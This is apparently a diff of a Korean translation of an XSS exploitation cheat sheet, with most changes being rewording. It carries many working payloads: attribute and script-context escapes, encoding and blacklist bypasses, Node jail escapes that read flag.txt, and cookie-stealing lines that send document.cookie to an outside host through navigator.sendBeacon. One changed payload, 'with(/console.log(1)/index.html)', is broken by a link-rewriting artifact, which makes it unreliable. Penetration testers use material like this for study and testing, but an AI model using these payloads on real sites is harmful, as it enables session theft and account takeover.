1. 원시 HTML 맥락으로 나갈 수 있습니까?
2. JS 코드를 실행하기 위해 새로운 이벤트/속성을 생성할 수 있습니까?
@ -27,7 +27,7 @@
4. **사용된 경우**:
1. **DOM XSS**를 악용할 수 있습니다. 입력이 어떻게 제어되는지, 그리고 당신의 **제어된 입력이 어떤 싱크에 사용되는지** 주의하십시오.
복잡한 XSS 작업을 할 때 알아두면 유용한 정보:
복잡한 XSS 작업을 할 때 알아두면 유용한 정보는 다음과 같습니다:
{{#ref}}
debugging-client-side-js.md
@ -54,9 +54,9 @@ XSS를 악용하려고 할 때 가장 먼저 알아야 할 것은 **당신의
당신의 입력이 태그의 속성 값 내부에 반영된다면 다음을 시도할 수 있습니다:
1. **속성과 태그에서 이스케이프** (그럼 원시 HTML에 있게 됩니다)하고 악용할 새로운 HTML 태그를 생성합니다: `"><img [...]`
1. **속성과 태그에서 이스케이프**하여 (그럼 원시 HTML에 있게 됩니다) 악용할 새로운 HTML 태그를 생성합니다: `"><img [...]`
2. **속성에서 이스케이프할 수 있지만 태그에서 이스케이프할 수 없는 경우** (`>`가 인코딩되거나 삭제된 경우), 태그에 따라 **JS 코드를 실행하는 이벤트**를 생성할 수 있습니다: `" autofocus onfocus=alert(1) x="`
3. **속성에서 이스케이프할 수 없는 경우** (`"`가 인코딩되거나 삭제된 경우), 당신의 값이 반영되는 **어떤 속성**인지에 따라 **모든 값을 제어하는지 아니면 일부만 제어하는지**에 따라 악용할 수 있습니다. 예를 들어, `onclick=`과 같은 이벤트를 제어면 클릭 시 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 **예**는 `href` 속성으로, `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
3. **속성에서 이스케이프할 수 없는 경우** (`"`가 인코딩되거나 삭제된 경우), 당신의 값이 반영되는 **어떤 속성**인지에 따라 **모든 값을 제어하는지 아니면 일부만 제어하는지**에 따라 악용할 수 있습니다. 예를 들어, `onclick=`과 같은 이벤트를 제어할 수 있다면 클릭 시 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 **예**는 `href` 속성으로, `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
4. 당신의 입력이 "**악용할 수 없는 태그**" 내부에 반영된다면, **`accesskey`** 트릭을 시도하여 취약점을 악용할 수 있습니다 (이를 악용하기 위해서는 어떤 형태의 사회 공학이 필요합니다): **`" accesskey="x" onclick="alert(1)" x="**
클래스 이름을 제어할 경우 Angular가 XSS를 실행하는 이상한 예:
@ -69,12 +69,12 @@ XSS를 악용하려고 할 때 가장 먼저 알아야 할 것은 **당신의
이 경우 입력은 HTML 페이지의 **`<script> [...] </script>`** 태그, `.js` 파일 또는 **`javascript:`** 프로토콜을 사용하는 속성 내에서 반영됩니다:
- **`<script> [...] </script>`** 태그 사이에 반영 경우, 입력이 어떤 종류의 따옴표 안에 있더라도 `</script>`를 주입하고 이 컨텍스트에서 탈출할 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 파싱**하고 그 다음에 내용을 처리하기 때문에, 주입된 `</script>` 태그가 HTML 코드 안에 있다는 것을 인식하지 못합니다.
- **JS 문자열 안에 반영된 경우** 마지막 트릭이 작동하지 않으면 문자열에서 **탈출**하고, **코드를 실행**하며 **JS 코드를 재구성**해야 합니다(오류가 발생하면 실행되지 않습니다):
- **`<script> [...] </script>`** 태그 사이에 반영되는 경우, 입력이 어떤 종류의 따옴표 안에 있더라도 `</script>`를 주입하고 이 컨텍스트에서 벗어날 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 파싱**하고 그 다음에 내용을 처리하기 때문에, 주입된 `</script>` 태그가 HTML 코드 안에 있다는 것을 인식하지 못합니다.
- **JS 문자열 안에 반영되는 경우** 마지막 트릭이 작동하지 않으면 문자열에서 **나가고**, **코드를 실행**하며 **JS 코드를 재구성**해야 합니다(오류가 발생하면 실행되지 않습니다):
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
- 템플릿 리터럴 안에 반영 경우 `${ ... }` 구문을 사용하여 **JS 표현식**을 **삽입**할 수 있습니다: `` var greetings = `Hello, ${alert(1)}` ``
- 템플릿 리터럴 안에 반영되는 경우 `${ ... }` 구문을 사용하여 **JS 표현식**을 **삽입**할 수 있습니다: `` var greetings = `Hello, ${alert(1)}` ``
- **유니코드 인코딩**은 **유효한 자바스크립트 코드**를 작성하는 데 사용됩니다:
```javascript
alert(1)
@ -83,7 +83,7 @@ alert(1)
```
#### Javascript Hoisting
Javascript Hoisting은 **함수, 변수 또는 클래스를 사용한 후에 선언할 수 있는 기회를 참조하며, 이는 XSS가 선언되지 않은 변수나 함수를 사용하는 시나리오를 악용할 수 있습니다.**\
Javascript Hoisting은 **함수, 변수 또는 클래스를 사용한 후에 선언할 수 있는 기회를 참조하며, 이는 선언되지 않은 변수나 함수를 사용하는 XSS 시나리오를 악용할 수 있습니다.**\
**자세한 정보는 다음 페이지를 확인하세요:**
{{#ref}}
@ -124,7 +124,7 @@ some-same-origin-method-execution.md
### DOM
**JS 코드**가 **공격자가 제어하는** **데이터**를 **안전하지 않게** 사용하고 있습니다, 예를 들어 `location.href`. 공격자는 이를 악용하여 임의의 JS 코드를 실행할 수 있습니다.
**JS 코드**가 **공격자에 의해 제어되는** 일부 **데이터**를 **안전하지 않게** 사용하고 있습니다, 예를 들어 `location.href`. 공격자는 이를 악용하여 임의의 JS 코드를 실행할 수 있습니다.
{{#ref}}
dom-xss.md
@ -132,8 +132,7 @@ dom-xss.md
### **Universal XSS**
이러한 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 익스플로잇에만 의존하지 않고 **모든** **컨텍스트**에 의존합니다. 이러한 종류의 **임의 JavaScript 실행**은 **RCE**를 얻거나, 클라이언트와 서버에서 **임의의 파일을 읽는** 데 악용될 수 있습니다.\
몇 가지 **예시**:
이러한 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 익스플로잇에만 의존하지 않고 **모든** **컨텍스트**에 의존합니다. 이러한 종류의 **임의 JavaScript 실행**은 **RCE**를 얻거나, 클라이언트와 서버에서 **임의의 파일을 읽는** 데 악용될 수 있습니다. 몇 가지 **예시**:
{{#ref}}
server-side-xss-dynamic-pdf.md
@ -149,8 +148,8 @@ server-side-xss-dynamic-pdf.md
## 원시 HTML 내에서 주입
당신의 입력이 **HTML 페이지 내에서 반영**되거나 이 컨텍스트에서 HTML 코드를 이스케이프하고 주입할 수 있다면, **첫 번째**로 해야 할 일은 `<`를 악용하여 새로운 태그를 생성할 수 있는지 확인하는 것입니다: 그 **문자**를 **반영**해보고 그것이 **HTML 인코딩**되었는지, **삭제**되었는지, 아니면 **변경 없이 반영**되었는지 확인하십시오. **마지막 경우에만 이 경우를 악용할 수 있습니다**.\
이 경우에도 **[클라이언트 측 템플릿 주입](../client-side-template-injection-csti.md)**을 염두에 두십시오.\
당신의 입력이 **HTML 페이지 내에서 반영**되거나 이 컨텍스트에서 HTML 코드를 이스케이프하고 주입할 수 있다면, **첫 번째**로 해야 할 일은 `<`를 악용하여 새로운 태그를 생성할 수 있는지 확인하는 것입니다: 그 **문자**를 **반영**해보고 **HTML 인코딩**되었는지, **삭제**되었는지, 아니면 **변경 없이 반영**되었는지 확인하십시오. **마지막 경우에만 이 경우를 악용할 수 있습니다**.\
이 경우에도 **[Client Side Template Injection](../client-side-template-injection-csti.md)**을 **염두에 두십시오**.\
&#xNAN;_**참고: HTML 주석은 다음을 사용하여 닫을 수 있습니다\*\*\*\*\*\***&#x20;\***\*`-->`\*\***&#x20;\***\*또는 \*\*\*\*\*\***`--!>`\*\**_
이 경우 블랙/화이트리스트가 사용되지 않는다면, 다음과 같은 페이로드를 사용할 수 있습니다:
@ -161,16 +160,16 @@ alert(1)
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
```
하지만, 태그/속성 블랙리스트/화이트리스트가 사용되고 있다면, 어떤 태그를 생성할 수 있는지 **브루트포스**해야 합니다.\
어떤 태그가 허용되는지 **찾은 후**, 발견된 유효한 태그 내에서 **속성/이벤트를 브루트포스**하여 공격할 수 있는 방법을 확인해야 합니다.
하지만, 태그/속성 블랙리스트/화이트리스트가 사용되고 있다면, 어떤 태그를 생성할 수 있는지 **브루트 포스**해야 합니다.\
어떤 태그가 허용되는지 **찾은 후**, 발견된 유효한 태그 내에서 **속성/이벤트를 브루트 포스**하여 공격할 수 있는 방법을 확인해야 합니다.
### 태그/이벤트 브루트포스
### 태그/이벤트 브루트 포스
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)로 가서 _**태그를 클립보드에 복사**_를 클릭하세요. 그런 다음, Burp intruder를 사용하여 모든 태그를 전송하고 WAF에서 악성으로 발견되지 않은 태그가 있는지 확인하세요. 사용할 수 있는 태그를 발견한 후, 유효한 태그를 사용하여 **모든 이벤트를 브루트포스**할 수 있습니다(같은 웹 페이지에서 _**이벤트를 클립보드에 복사**_를 클릭하고 이전과 같은 절차를 따르세요).
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)로 가서 _**태그를 클립보드에 복사**_를 클릭하세요. 그런 다음, Burp intruder를 사용하여 모든 태그를 전송하고 WAF에서 악성으로 발견되지 않은 태그가 있는지 확인하세요. 사용할 수 있는 태그를 발견한 후, 유효한 태그를 사용하여 **모든 이벤트를 브루트 포스**할 수 있습니다(같은 웹 페이지에서 _**이벤트를 클립보드에 복사**_를 클릭하고 이전과 같은 절차를 따르세요).
### 사용자 정의 태그
유효한 HTML 태그를 찾지 못했다면, **사용자 정의 태그를 생성**하고 `onfocus` 속성으로 JS 코드를 실행해 볼 수 있습니다. XSS 요청에서 URL을 `#`로 끝내야 페이지가 **해당 객체에 포커스**하고 **코드를 실행**합니다:
유효한 HTML 태그를 찾지 못한 경우, **사용자 정의 태그를 생성**하고 `onfocus` 속성으로 JS 코드를 실행해 볼 수 있습니다. XSS 요청에서 URL을 `#`로 끝내야 페이지가 **해당 객체에 포커스**하고 **코드를 실행**합니다:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
@ -226,9 +225,9 @@ onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
```
### 길이 우회 (작은 XSS)
### Length bypass (small XSSs)
> [!NOTE] > **다양한 환경을 위한 더 많은 작은 XSS** 페이로드 [**여기에서 찾을 수 있습니다**](https://github.com/terjanq/Tiny-XSS-Payloads) 및 [**여기에서**](https://tinyxss.terjanq.me).
> [!NOTE] > **다양한 환경을 위한 더 많은 작은 XSS** 페이로드 [**여기에서 찾을 수 있습니다**](https://github.com/terjanq/Tiny-XSS-Payloads) 및 [**여기에서 찾을 수 있습니다**](https://tinyxss.terjanq.me).
```html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//.pw>
@ -243,14 +242,14 @@ onerror=alert`1`
### 불가능 - Dangling Markup
**JS 코드를 실행하기 위한 속성이 있는 HTML 태그를 만드는 것이 불가능하다고 생각한다면**, [**Dangling Markup**](../dangling-markup-html-scriptless-injection/)을 확인해야 합니다. 왜냐하면 **JS** 코드를 실행하지 않고도 취약점을 **악용**할 수 있기 때문입니다.
**JS 코드를 실행하기 위한 속성이 있는 HTML 태그를 만드는 것이 불가능하다고 생각한다면**, [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html)을 확인해야 합니다. 왜냐하면 **JS** 코드를 실행하지 않고도 취약점을 **악용**할 수 있기 때문입니다.
## HTML 태그 내부에 주입하기
### 태그 내부/속성 값에서 이스케이프하기
### 태그 내부/속성 값에서 탈출하기
**HTML 태그 내부에 있다면**, 시도할 수 있는 첫 번째 것은 **태그에서 이스케이프**하고 [이전 섹션](#injecting-inside-raw-html)에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행하는 것입니다.\
**태그에서 이스케이프할 수 없다면**, 태그 내부에 새로운 속성을 만들어 JS 코드를 실행하려고 시도할 수 있습니다. 예를 들어 (_이 예제에서는 속성에서 이스케이프하기 위해 이중 따옴표를 사용하지만, 입력이 태그 내부에 직접 반영되는 경우에는 필요하지 않습니다_):
**HTML 태그 내부에 있다면**, 시도할 수 있는 첫 번째 것은 **태그에서 탈출**하고 [이전 섹션](#injecting-inside-raw-html)에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행하는 것입니다.\
**태그에서 탈출할 수 없다면**, 태그 내부에 새로운 속성을 만들어 JS 코드를 실행해 보세요. 예를 들어 (_이 예제에서는 속성에서 탈출하기 위해 이중 따옴표를 사용하지만, 입력이 태그 내부에 직접 반영되는 경우에는 필요하지 않습니다_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -265,14 +264,14 @@ onerror=alert`1`
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
```
### Within the attribute
### 속성 내에서
속성에서 **탈출할 수 없는 경우**(`"`가 인코딩되거나 삭제됨)에도 불구하고, **어떤 속성**에 값이 반영되는지에 따라 **모든 값 또는 일부만 제어하는 경우** 이를 악용할 수 있습니다. **예를 들어**, `onclick=`와 같은 이벤트를 제어하면 클릭할 때 임의의 코드를 실행할 수 있습니다.\
속성에서 **탈출할 수 없는 경우**(`"`가 인코딩되거나 삭제됨)에도 불구하고, **어떤 속성**에 값이 반영되는지에 따라 **모든 값 또는 일부만 제어하는지**에 따라 이를 악용할 수 있습니다. **예를 들어**, `onclick=`와 같은 이벤트를 제어하면 클릭할 때 임의의 코드를 실행할 수 있습니다.\
또 다른 흥미로운 **예**는 `href` 속성으로, 여기서 `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
**HTML 인코딩/URL 인코딩을 사용한 이벤트 내 우회**
HTML 태그 속성의 값 내 **HTML 인코딩된 문자**는 **런타임에 디코딩**됩니다. 따라서 다음과 같은 것이 유효합니다(페이로드는 굵게 표시됨): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
HTML 태그 속성의 값 내 **HTML 인코딩된 문자**는 **런타임에 디코딩됩니다**. 따라서 다음과 같은 것이 유효합니다(페이로드는 굵게 표시됨): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
**모든 종류의 HTML 인코딩이 유효하다는 점에 유의하세요**:
```javascript
@ -295,7 +294,7 @@ HTML 태그 속성의 값 내 **HTML 인코딩된 문자**는 **런타임에 디
```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
```
**유니코드 인코딩을 사용하여 내부 이벤트 우회**
**유니코드 인코드를 사용하여 내부 이벤트 우회**
```javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@ -325,7 +324,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**이 프로토콜을 주입할 수 있는 장소**
**일반적으로** `javascript:` 프로토콜은 **`href` 속성을 허용하는 모든 태그에서 사용할 수 있으며** **대부분의** **`src` 속성을 허용하는 태그에서도 사용할 수 있습니다** (단, `<img>`는 제외).
**일반적으로** `javascript:` 프로토콜은 **`href`** 속성을 허용하는 모든 태그와 **대부분의** **`src`** 속성을 허용하는 태그에서 사용할 수 있습니다 (단, `<img>`는 제외).
```markup
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -351,7 +350,7 @@ _**이 경우, 이전 섹션의 HTML 인코딩 및 유니코드 인코딩 기법
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
또한 이러한 경우에 대한 또 다른 **멋진 트릭**이 있습니다: **입력이 `javascript:...` 안에 있을 때 URL 인코딩이 되어 있더라도, 실행되기 전에 URL 디코딩이 됩니다.** 따라서 **단일 인용부호**를 사용하여 **문자열**에서 **탈출**해야 하고 **URL 인코딩**이 되어 있는 것을 본다면, **상관없습니다,** 실행 시간 동안 **단일 인용부호**로 **해석**됩니다.
또한, 이러한 경우를 위한 또 다른 **멋진 트릭**이 있습니다: **입력이 `javascript:...` 안에 있을 때 URL 인코딩이 되어 있더라도, 실행되기 전에 URL 디코딩이 됩니다.** 따라서 **단일 인용부호**를 사용하여 **문자열**에서 **탈출**해야 하고 **URL 인코딩**이 되어 있는 것을 본다면, **상관없습니다,** 실행 시간 동안 **단일 인용부호**로 **해석**됩니다.
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
@ -386,7 +385,7 @@ _**이 경우, 이전 섹션의 HTML 인코딩 및 유니코드 인코딩 기법
### 이벤트 핸들러 우회
먼저 유용한 **"on" 이벤트 핸들러**에 대한 정보를 얻으려면 이 페이지를 확인하세요 ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)).\
이벤트 핸들러 생성을 방지하는 블랙리스트가 있는 경우 다음 우회를 시도해 볼 수 있습니다:
이벤트 핸들러 생성을 방지하는 블랙리스트가 있는 경우, 다음 우회를 시도해 볼 수 있습니다:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -422,7 +421,7 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
다음에서 [**여기**](https://portswigger.net/research/xss-in-hidden-input-fields): **숨겨진 속성** 내에서 **XSS 페이로드**를 실행할 수 있으며, 이를 위해 **희생자**가 **키 조합**을 누르도록 **설득**해야 합니다. Firefox Windows/Linux에서 키 조합은 **ALT+SHIFT+X**이고, OS X에서는 **CTRL+ALT+X**입니다. 접근 키 속성에서 다른 키를 사용하여 다른 키 조합을 지정할 수 있습니다. 벡터는 다음과 같습니다:
다음에서 [**여기**](https://portswigger.net/research/xss-in-hidden-input-fields): **숨겨진 속성** 내에서 **XSS 페이로드**를 실행할 수 있으며, **희생자**가 **키 조합**을 누르도록 **설득**할 수 있습니다. Firefox Windows/Linux에서 키 조합은 **ALT+SHIFT+X**이고, OS X에서는 **CTRL+ALT+X**입니다. 접근 키 속성에서 다른 키를 사용하여 다른 키 조합을 지정할 수 있습니다. 벡터는 다음과 같습니다:
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -430,7 +429,7 @@ onbeforetoggle="alert(2)" />
### 블랙리스트 우회
이 섹션에서는 다양한 인코딩을 사용하는 여러 가지 트릭이 이미 공개되었습니다. **다시 돌아가서 다음을 배울 수 있는 곳을 확인하세요:**
이 섹션에서는 다양한 인코딩을 사용하는 여러 가지 트릭이 이미 노출되었습니다. **다시 돌아가서 다음을 배울 수 있는 곳을 확인하세요:**
- **HTML 인코딩 (HTML 태그)**
- **유니코드 인코딩 (유효한 JS 코드일 수 있음):** `\u0061lert(1)`
@ -460,7 +459,7 @@ onbeforetoggle="alert(2)" />
> \#someid {top: 0; font-family: Tahoma;}
이제 링크를 수정하여 다음 형식으로 만들 수 있습니다.
이제 링크를 수정하여 다음과 같은 형태로 만들 수 있습니다.
> \<a href="" id=someid class=test onclick=alert() a="">
@ -476,11 +475,11 @@ onbeforetoggle="alert(2)" />
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
이 예제에서는 **단일 인용부호를 닫지 않았습니다**. 이는 **HTML 파싱이 먼저 브라우저에 의해 수행되기 때문**입니다. 여기에는 페이지 요소, 즉 스크립트 블록을 식별하는 과정이 포함됩니다. JavaScript의 파싱은 내장된 스크립트를 이해하고 실행하기 위해 그 이후에만 수행됩니다.
이 예제에서는 **단일 인용부호를 닫지 않았습니다**. 이는 **HTML 파싱이 먼저 브라우저에 의해 수행되기 때문입니다**, 여기에는 페이지 요소, 스크립트 블록 식별이 포함됩니다. JavaScript의 파싱은 내장된 스크립트를 이해하고 실행하기 위해 그 이후에만 수행됩니다.
### JS 코드 내부
`<>`가 정리되고 있다면 여전히 **문자열을 이스케이프**할 수 있으며, 입력이 **위치한 곳**에서 **임의의 JS를 실행**할 수 있습니다. **JS 구문을 수정하는 것이 중요**합니다. 오류가 있을 경우 JS 코드가 실행되지 않기 때문입니다:
`<>`가 정리되고 있다면 여전히 **문자열을 이스케이프**할 수 있으며, 입력이 **위치한 곳**에서 **임의의 JS를 실행**할 수 있습니다. JS 구문을 **수정하는 것이 중요**합니다. 오류가 있을 경우 JS 코드가 실행되지 않기 때문입니다:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -746,13 +745,13 @@ dom-xss.md
{{#endref}}
여기에서 **DOM 취약점이 무엇인지, 어떻게 발생하는지, 그리고 이를 어떻게 악용할 수 있는지에 대한 자세한 설명**을 찾을 수 있습니다.\
또한, 언급된 게시물의 **끝부분에서** [**DOM Clobbering 공격**](dom-xss.md#dom-clobbering)에 대한 설명을 찾을 수 있다는 것을 잊지 마세요.
또한, 언급된 게시물의 **끝부분에서** [**DOM Clobbering 공격**](dom-xss.md#dom-clobbering)에 대한 설명을 찾는 것을 잊지 마세요.
### Self-XSS 업그레이드
### 쿠키 XSS
쿠키 안에 페이로드를 보내서 XSS를 유발할 수 있다면, 이는 보통 self-XSS입니다. 그러나 **XSS에 취약한 서브도메인을 찾으면**, 이 XSS를 악용하여 전체 도메인에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것)에서 쿠키 XSS를 유발할 수 있습니다. 이를 위해 쿠키 토 공격을 사용할 수 있습니다:
쿠키 안에 페이로드를 보내서 XSS를 유발할 수 있다면, 이는 보통 self-XSS입니다. 그러나 **XSS에 취약한 서브도메인을 찾으면**, 이 XSS를 악용하여 전체 도메인에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것)에서 쿠키 XSS를 유발할 수 있습니다. 이를 위해 쿠키 토 공격을 사용할 수 있습니다:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
@ -762,7 +761,7 @@ dom-xss.md
### 세션을 관리자에게 전송하기
사용자가 자신의 프로필을 관리자와 공유할 수 있으며, 만약 self XSS가 사용자의 프로필 안에 있다면 관리자가 이를 접근할 경우 취약점이 유발될 수 있습니다.
사용자가 자신의 프로필을 관리자와 공유할 수 있으며, 만약 self XSS가 사용자의 프로필 안에 있다면 관리자가 이를 접근할 경우 취약점이 발생할 수 있습니다.
### 세션 미러링
@ -774,7 +773,7 @@ self XSS를 발견하고 웹 페이지에 **관리자를 위한 세션 미러링
### 정규화된 유니코드
서버(또는 클라이언트 측)에서 **반된 값**이 **유니코드 정규화**되고 있는지 확인하고 이 기능을 악용하여 보호를 우회할 수 있습니다. [**여기에서 예를 찾으세요**](../unicode-injection/index.html#xss-cross-site-scripting).
서버(또는 클라이언트 측)에서 **반된 값**이 **유니코드 정규화**되고 있는지 확인하고 이 기능을 악용하여 보호를 우회할 수 있습니다. [**여기에서 예를 찾으세요**](../unicode-injection/index.html#xss-cross-site-scripting).
### PHP FILTER_VALIDATE_EMAIL 플래그 우회
```javascript
@ -782,7 +781,7 @@ self XSS를 발견하고 웹 페이지에 **관리자를 위한 세션 미러링
```
### Ruby-On-Rails 우회
**RoR 대량 할당**으로 인해 HTML에 인용문이 삽입되고 인용문 제한이 우회되며 추가 필드(onfocus)가 태그 내에 추가될 수 있습니다.\
**RoR 대량 할당**으로 인해 HTML에 인용부호가 삽입되고 인용 제한이 우회되며 추가 필드(onfocus)가 태그 내에 추가될 수 있습니다.\
양식 예제 ([이 보고서에서](https://hackerone.com/reports/709336)), 페이로드를 전송하면:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@ -832,7 +831,7 @@ document['default'+'View'][`\u0061lert`](3)
### Only Letters, Numbers and Dots
JavaScript가 **실행할** **콜백**을 이러한 문자로 제한할 수 있다면. [**이 게시물의 이 섹션을 읽어보세요**](#javascript-function) 이 동작을 악용하는 방법을 찾기 위해.
JavaScript가 **실행할** **콜백**을 이러한 문자로 제한할 수 있다면, [**이 게시물의 이 섹션을 읽어보세요**](#javascript-function) 이 동작을 악용하는 방법을 찾을 수 있습니다.
### Valid `<script>` Content-Types to XSS
@ -869,7 +868,7 @@ const char* const kSupportedJavascriptTypes[] = {
<script type="???"></script>
```
- **모듈** (기본, 설명할 필요 없음)
- [**웹 번들**](https://web.dev/web-bundles/): 웹 번들은 HTML, CSS, JS 등 여러 데이터를 함께 **`.wbn`** 파일로 패키징할 수 있는 기능입니다.
- [**웹 번들**](https://web.dev/web-bundles/): 웹 번들은 HTML, CSS, JS 등 여러 데이터를 **`.wbn`** 파일로 패키징할 수 있는 기능입니다.
```html
<script type="webbundle">
{
@ -896,7 +895,7 @@ import moment from "moment"
import { partition } from "lodash"
</script>
```
이 동작은 [**이 글**](https://github.com/zwade/yaca/tree/master/solution)에서 라이브러리를 eval로 재매핑하여 XSS를 유발할 수 있도록 악용하는 데 사용되었습니다.
이 동작은 [**이 글**](https://github.com/zwade/yaca/tree/master/solution)에서 라이브러리를 eval로 재매핑하여 XSS를 유발할 수 있는 악용을 위해 사용되었습니다.
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 이 기능은 주로 프리 렌더링으로 인해 발생하는 몇 가지 문제를 해결하기 위한 것입니다. 작동 방식은 다음과 같습니다:
```html
@ -914,7 +913,7 @@ import { partition } from "lodash"
}
</script>
```
### 웹 콘텐츠 유형과 XSS
### Web Content-Types to XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 다음 콘텐츠 유형은 모든 브라우저에서 XSS를 실행할 수 있습니다:
@ -929,7 +928,7 @@ import { partition } from "lodash"
다른 브라우저에서는 다른 **`Content-Types`**를 사용하여 임의의 JS를 실행할 수 있습니다. 확인: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml 콘텐츠 유형
### xml Content Type
페이지가 text/xml 콘텐츠 유형을 반환하는 경우 네임스페이스를 지정하고 임의의 JS를 실행할 수 있습니다:
```xml
@ -945,13 +944,13 @@ import { partition } from "lodash"
예를 들어 [**이 글**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)에서는 스크립트 내에서 **JSON 문자열을 이스케이프**하고 임의의 코드를 실행하는 데 사용되었습니다.
### Chrome 캐시에서 XSS
### Chrome 캐시에서 XSS
{{#ref}}
chrome-cache-to-xss.md
{{#endref}}
### XS 감옥 탈출
### XS Jail 탈출
사용할 수 있는 문자 집합이 제한된 경우, XSJail 문제에 대한 다른 유효한 솔루션을 확인하십시오:
```javascript
@ -961,7 +960,7 @@ eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequir
// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
@ -993,7 +992,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
```
- `require`에 간접적으로 접근하기
[이것에 따르면](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 모듈은 Node.js에 의해 함수 내에 래핑됩니다, 다음과 같이:
[이것에 따르면](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 모듈은 Node.js에 의해 함수 내에 래핑됩니다, 다음과 같이:
```javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
@ -1008,7 +1007,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
)
})()
```
이전 예와 유사하게, **오류 처리기**를 사용하여 모듈의 **래퍼**에 접근하고 **`require`** 함수를 얻는 것이 가능합니다:
이전 예와 유사하게, **error handlers**를 사용하여 모듈의 **wrapper**에 접근하고 **`require`** 함수를 얻는 것이 가능합니다:
```javascript
try {
null.f()
@ -1230,7 +1229,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
```
## XSS 일반 페이로드
### 여러 페이로드를 1개
### 여러 페이로드를 하나
{{#ref}}
steal-info-js.md
@ -1238,7 +1237,7 @@ steal-info-js.md
### Iframe 트랩
사용자가 iframe을 벗어나지 않고 페이지를 탐색하게 하여 그의 행동을 훔치고 (양식에 전송된 정보 포함):
사용자가 iframe을 종료하지 않고 페이지를 탐색하게 하여 그의 행동을 훔치고 (양식에 전송된 정보 포함):
{{#ref}}
../iframe-traps.md
@ -1267,7 +1266,7 @@ steal-info-js.md
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!NOTE]
> 당신은 **HTTPOnly 플래그가 쿠키에 설정되어 있다면 JavaScript에서 쿠키에 접근할 수 없습니다**. 하지만 여기 [이 보호를 우회하는 몇 가지 방법이 있습니다](../hacking-with-cookies/index.html#httponly) 만약 운이 좋다면.
> JavaScript에서 쿠키에 접근할 수 **없습니다** HTTPOnly 플래그가 쿠키에 설정되어 있는 경우. 하지만 여기 [이 보호를 우회하는 몇 가지 방법이 있습니다](../hacking-with-cookies/index.html#httponly) 운이 좋다면.
### 페이지 콘텐츠 훔치기
```javascript
